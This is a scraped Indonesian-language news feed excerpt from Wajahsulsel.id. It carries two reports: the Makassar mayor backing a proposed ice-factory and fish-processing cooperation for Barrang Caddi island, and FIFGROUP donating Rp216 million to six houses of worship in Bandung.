Wali Kota Makassar, Munafri Arifuddin, menyambut positif rencana kerja sama terkait pengembangan teknologi pengolahan ikan dan sistem rantai dingin (cold chain) yang diusulkan oleh perwakilan Consultants Global Co., Ltd. (OCG).

Dalam pertemuan tersebut, Munafri menegaskan pentingnya komunikasi langsung dengan para pemangku kepentingan di wilayah kepulauan.

Ia meminta agar pihak OCG berkoordinasi lebih lanjut dengan camat serta dinas terkait untuk memastikan implementasi program dapat sesuai kebutuhan di lapangan.

“Di pulau, menjaga pasokan ikan itu tidak mudah. Nelayan sekarang tidak lagi mendapatkan ikan di sekitar daratan pulau, mereka harus pergi jauh ke tengah laut dan sangat dipengaruhi kondisi cuaca,” katnaya.

“Musim hujan seperti sekarang membuat mereka semakin sulit. Karena itu penting berkomunikasi langsung dengan nelayan agar tahu model implementasi yang paling cocok,” lanjut Munafri.

Ia menyampaikan bahwa Pemerintah Kota Makassar, sangat menyambut baik program tersebut karena berpotensi meningkatkan pendapatan nelayan.

Apalagi, selama ini pasar ekspor ikan Indonesia lebih banyak mengarah ke kawasan Timur Tengah dibandingkan Jepang. Sehingga, perlu mempersiapkan banyak hal bila ingin masuk ke pasar Jepang.

“Persyaratan kualitas di sana sangat ketat. Tapi jika pihak Jepang datang memberi edukasi langsung di Makassar, saya yakin nelayan akan tertarik mengikuti program ini,” ujarnya.

Terkait rencana kerja sama, Munafri memastikan Pemkot Makassar siap memberikan dukungan. Ia juga mempersilakan pihak OCG berkoordinasi lebih lanjut dengan Bagian Kerja Sama untuk proses administrasi.

Dengan dukungan ini, Pemerintah Kota Makassar berharap proyek tersebut dapat menjadi solusi berkelanjutan bagi nelayan, sekaligus membuka peluang pasar baru melalui peningkatan kualitas dan nilai tambah produk perikanan lokal.

“Untuk konfirmasi kerja sama, kami support. Silakan berkoordinasi dengan Kabag Kerja Sama terkait penerbitan supporting letter atau surat rekomendasi sebagai bentuk dukungan Pemkot,” tegasnya.(*)

Artikel Wali Kota Munafri Sambut Positif Program Pabrik Es dan Pengolahan Ikan di Pulau Barrang Caddi pertama kali tampil pada Wajahsulsel.id.

]]> https://www.wajahsulsel.id/wali-kota-munafri-sambut-positif-program-pabrik-es-dan-pengolahan-ikan-di-pulau-barrang-caddi/feed/ 0 FIFGROUP Dukung Pembangunan Rumah Ibadah Lima Agama di Bandung, Salurkan Bantuan Rp216 Juta https://www.wajahsulsel.id/fifgroup-dukung-pembangunan-rumah-ibadah-lima-agama-di-bandung-salurkan-bantuan-rp216-juta/ https://www.wajahsulsel.id/fifgroup-dukung-pembangunan-rumah-ibadah-lima-agama-di-bandung-salurkan-bantuan-rp216-juta/#respond Thu, 13 Nov 2025 10:05:28 +0000 https://www.wajahsulsel.id/?p=455   WAJAHSULSEL.ID – Bertepatan dengan rangkaian Rapat Pimpinan (Rapim) 2026 di Padalarang, Bandung Barat, PT […]

Artikel FIFGROUP Dukung Pembangunan Rumah Ibadah Lima Agama di Bandung, Salurkan Bantuan Rp216 Juta pertama kali tampil pada Wajahsulsel.id.

]]>  

WAJAHSULSEL.ID – Bertepatan dengan rangkaian Rapat Pimpinan (Rapim) 2026 di Padalarang, Bandung Barat, PT Federal International Finance (FIFGROUP), anak perusahaan PT Astra International Tbk dan bagian dari Astra Financial, menyerahkan bantuan sosial keagamaan di kantor FIFGROUP Cabang Bandung pada Kamis, 13 November 2025. Bantuan ini diberikan sebagai ungkapan syukur perseroan atas pencapaian sepanjang tahun 2025 yang berhasil diraih berkat dukungan dan kepercayaan masyarakat.

Total bantuan senilai Rp216 juta diserahkan kepada perwakilan pengelola 6 rumah ibadah dari 5 agama, yaitu untuk rumah ibadah:

1. Agama Islam : Masjid Nurul Hidayah dan Masjid Jami Nur Al-Ghifari
2. Agama Kristen Katolik : Gereja Katolik Paroki Salib Suci Bandung
3. Agama Kristen Protestan : Gereja Batak Karo Protestan
4. Agama Hindu : Pura Wira Satya Dharma, serta
5. Agama Budha : Vihara Vimala Dharma

di mana masing-masing rumah ibadah menerima bantuan senilai Rp36 juta, sejalan dengan perayaan HUT FIFGROUP yang ke-36 tahun di tahun 2025.

Kegiatan ini menjadi wujud nyata komitmen FIFGROUP untuk berkontribusi dalam peningkatan kesejahteraan masyarakat, yang diwujudkan melalui program FIFGROUP Peduli.

Komitmen tersebut juga sejalan dengan SDGs poin ke-11 tentang Kota dan Permukiman yang Berkelanjutan. Melalui inisiatif ini, FIFGROUP terus berupaya membangun lingkungan yang aman, nyaman, dan inklusif, serta mewujudkan misi perusahaan dalam membawa kehidupan yang lebih baik bagi masyarakat Indonesia.

Penyerahan bantuan dilakukan oleh jajaran Direksi FIFGROUP, yaitu Esther Sri Harjati, Valentina Chai, dan Daniel Hartono dengan didampingi oleh Chief of Regional Management FIFGROUP, Julius Julianto Kusdinar.

Dalam sambutannya, Daniel Hartono menyampaikan bahwa bantuan ini dilakukan bertepatan dengan rangkaian penyelenggaraan Rapat Pimpinan FIFGROUP.

“Setiap tahunnya FIFGROUP memberikan bantuan sosial kepada masyarakat sebagai ungkapan syukur kami. Sesuai dengan tema Rapim tahun ini, yaitu One FIFGROUP to Be the One: Tekad Hebat, Hasil Nyata, kami memiliki semangat untuk terus peduli dengan keberlangsungan sesama secara berkelanjutan.” ungkap Daniel Hartono.

Daniel berharap, bantuan yang disalurkan melalui program FIFGROUP Peduli dapat memberi manfaat bagi masyarakat, mempercepat proses pembangunan rumah ibadah, serta membantu masyarakat beribadah dengan nyaman serta khusyuk.

Ditemui usai acara, Endrizal Nazar selaku pengurus Masjid Nurul Hidayah mengungkapkan rasa syukurnya.

“Alhamdulillah, kami bersyukur karena bantuan ini akan sangat bermanfaat bagi seluruh jamaah. Insya Allah akan kami gunakan dengan amanah untuk membantu renovasi masjid. Semoga bantuan ini membawa kebaikan bagi kita semua,” ucap Rizal.

Begitu juga dengan Romo Rusbani Setyawan selaku pengurus Gereja Katolik Paroki Salib Suci Bandung yang mengungkapkan rasa terima kasihnya kepada FIFGROUP:

“Bantuan ini berarti bagi kami untuk mempercepat proses pembangunan gereja. Kami berdoa agar FIFGROUP terus menjadi perusahaan yang bermanfaat bagi masyarakat,” ujar Romo Rusbani.

Seirama dengan Rizal dan Romo Rusbani, pengurus Gereja Batak Karo Protestan, Pendeta Anton Keliat juga menyampaikan terima kasih dan apresiasi atas perhatian FIFGROUP

“Semoga FIFGROUP terus menebarkan kebaikan ke lingkungan sekitar. Sebelumnya belum pernah ada pihak swasta yang membantu dalam pembangunan gereja. FIFGROUP yang pertama kali bagi kami dan rencananya akan kami gunakan dananya untuk membangun kanopi. Sungguh kami berterima kasih kepada FIFGROUP,” tandasnya. (*/rls)

Artikel FIFGROUP Dukung Pembangunan Rumah Ibadah Lima Agama di Bandung, Salurkan Bantuan Rp216 Juta pertama kali tampil pada Wajahsulsel.id.

]]> https://www.wajahsulsel.id/fifgroup-dukung-pembangunan-rumah-ibadah-lima-agama-di-bandung-salurkan-bantuan-rp216-juta/feed/ 0